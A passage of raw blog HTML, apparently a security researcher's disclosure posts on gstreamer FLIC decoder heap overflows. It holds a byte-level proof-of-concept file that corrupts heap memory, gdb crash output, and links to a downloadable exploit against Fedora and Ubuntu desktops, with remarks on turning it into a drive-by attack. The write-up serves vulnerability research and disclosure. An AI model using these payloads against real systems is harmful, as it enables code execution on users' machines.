font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* RLE count */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> count = *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (count > 0x7f) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* literal run */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> count = 0x100 - count;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (skip + count > flxdec->hdr.width) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. "</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> "line too long.");</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return FALSE;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> x = *data++;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (count--)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> *dest++ = x;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There’s an attempt to make sure that the skip pixel count plus the number of pixels to write stays within the bounds of the canvas width. But there’s subtle problem: the format permits multiple </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">skip</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">count</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pairs per canvas line. And the skip counts are considered individually rather than cumulatively. Therefore, it’s possible to get the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">skip + count</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> check to pass while still writing off the end of the line. If we arrange to write off the end of the last line, we have a memory corruption.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Building a PoC</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Building a PoC is not too complicated. We allocate a canvas buffer of dimensions 255 x 1. By having only one line, we ensure that any write off the end of the line will be a write off the end of the last line and therefore a memory corruption.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And then the main line of bytes inside the PoC file is:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">10 00 00 00 0C 00 00 00 01 00 02 FF 00 00 80 41</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is a chunk of size 16 (10 00 00 00), type FLX_LC (0C 00). We start writing at line offset 0 (00 00) for 1 line (01 00). We write 2 packets of skip / count pairs (02). The first packet skips 255 bytes along the line, and writes 0 pixels (FF 00). This stays within bounds for the checks. The second packet skips 0 bytes further along (00) and writes 128 bytes (80) of value ‘A’ (41). The second packet passes the check because 0 + 128 is less than the width of 255. But that check didn’t take into account the fact that our first packet skipped 255 bytes along the line. So an out of bounds write results.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the debugger:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gdb gst-play-1.0</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) r crash_delta_fli_2.flx</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Thread 2 "typefind:sink" received signal SIGSEGV, Segmentation fault.</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[Switching to Thread 0x7ffff49f3700 (LWP 9257)]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">_int_malloc (av=av@entry=0x7ffff0000020, bytes=bytes@entry=32) at malloc.c:3725</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) disass $rip,$rip+10</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Dump of assembler code from 0x7ffff6389c4e to 0x7ffff6389c58:</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=> 0x00007ffff6389c4e <_int_malloc>:</_int_malloc></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mov 0x18(%r15),%rax</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) p/x $r15</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$1 = 0x4141414141414141</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">That looks like heap metadata corruption -- not good. This vulnerability offers similar power to the original one, but with less “range” in terms of how far forward into the heap it is possible to corrupt. Still, it would be foolish to propose this isn’t exploitable.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can refer to this new vulnerability as CESA-2016-0011. The original cluster of issues was CESA-2016-0004.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can download the PoC from here: </span><a href="https://security.appspot.com/security/flic/crash_delta_fli_2.flx" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">crash_delta_fli_2.flx</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Closing notes</span></div>
<span id="docs-internal-guid-54d33c77-9a77-3722-b0f1-cb095206f614"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Happy Thanksgiving!</span></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-86038750689565493602016-11-21T15:06:00.000-08:002016-11-21T15:06:09.554-08:00[0day] [exploit] Advancing exploitation: a scriptless 0day exploit against Linux desktops<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A powerful heap corruption vulnerability exists in the gstreamer decoder for the </span><a href="https://en.wikipedia.org/wiki/FLIC_(file_format)" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">FLIC file format</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Presented here is an 0day exploit for this vulnerability.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This decoder is generally present in the default install of modern Linux desktops, including Ubuntu 16.04 and Fedora 24. Gstreamer classifies its decoders as “good”, “bad” or “ugly”. Despite being quite buggy, and not being a format at all necessary on a modern desktop, the FLIC decoder is classified as “good”, almost guaranteeing its presence in default Linux installs.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Thanks to solid ASLR / DEP protections on the (some) modern 64-bit Linux installs, and some other challenges, this vulnerability is a real beast to exploit.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Most modern exploits defeat protections such as ASLR and DEP by using some form of scripting to manipulate the environment and make dynamic decisions and calculations to move the exploit forward. In a browser, that script is JavaScript (or ActionScript etc.) When attacking a kernel from userspace, the “script” is the userspace program. When attacking a TCP stack remotely, the “script” is the program running on the attacker’s computer. In my previous </span><a href="http://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-compromising-linux-desktop.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">full gstreamer exploit against the NSF decoder</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, the script was an embedded 6502 machine code program.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">But in order to attack the FLIC decoder, there simply isn’t any scripting opportunity. The attacker gets, once, to submit a bunch of scriptless bytes into the decoder, and try and gain code execution without further interaction...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">… and good luck with that! Welcome to the world of scriptless exploitation in an ASLR environment. Let’s give it our best shot.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Obligatory screenshot, and downloads</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="fedora_flx_exploit.png" height="485" src="https://lh5.googleusercontent.com/k5bfbWc8D5NVXLwbMCuYt4XuZyzmRJKaahPib8Rw5-vIO0q31thTF9qAG_JYb72qQ3TyPJQd90cdusFPPNVq8jroyNMDcIWjGlJj17bxXYiuJiJ9SvLe3Glj_JLHx-QieeAd0UIn" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="624" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the above screenshot, we see the exploit file opened using </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">xdg-open</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> from the terminal (which does the same thing as a user clicking on a browser download). The exploit file opens in rhythmbox on Fedora, which is shown, as well as the resultant calculator. The terminal output shows an amusing side effect of the exploit, which we’ll cover later.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The exploit is running against a default install of Fedora 24, except that the gstreamer packages were upgraded to the latest: </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dnf update gstreamer*</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (v1.8.3-1.fc24.x86_64). We could have targeted either totem or rhythmbox as the binary to exploit, simply by renaming the file extension of the exploit. totem tends to handle video extensions and rhythmbox audio extensions. We chose .flac for rhythmbox.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This vulnerability applies equally as well to Ubuntu 16.04, and probably anything else with gstreamer installed. To get the exploit to work on anything other than the exact Fedora versions noted above, though, you’d need to fiddle with a large number of heap and code offsets in the exploit.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The astute reader will wonder if this exploit might be a full super serious drive by download exploit when paired with my previous </span><a href="http://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Google Chrome and Fedora tracker notes</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> from last week. The answer is sure. If you reworked this exploit to work in the context of the unsandboxed </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/usr/libexec/tracker-extract</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> process, by fiddling with a few heap offsets etc., you’d have an unpatched drive by download exploit against Chrome + Fedora.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">You can download the exploit as demonstrated above from </span><a href="https://security.appspot.com/security/flic/fedora_flx_exploit.flac" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">here</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, or download a fairly minimal crash file to check for the vulnerability </span><a href="https://security.appspot.com/security/flic/crash_delta_fli.flx" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">here</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
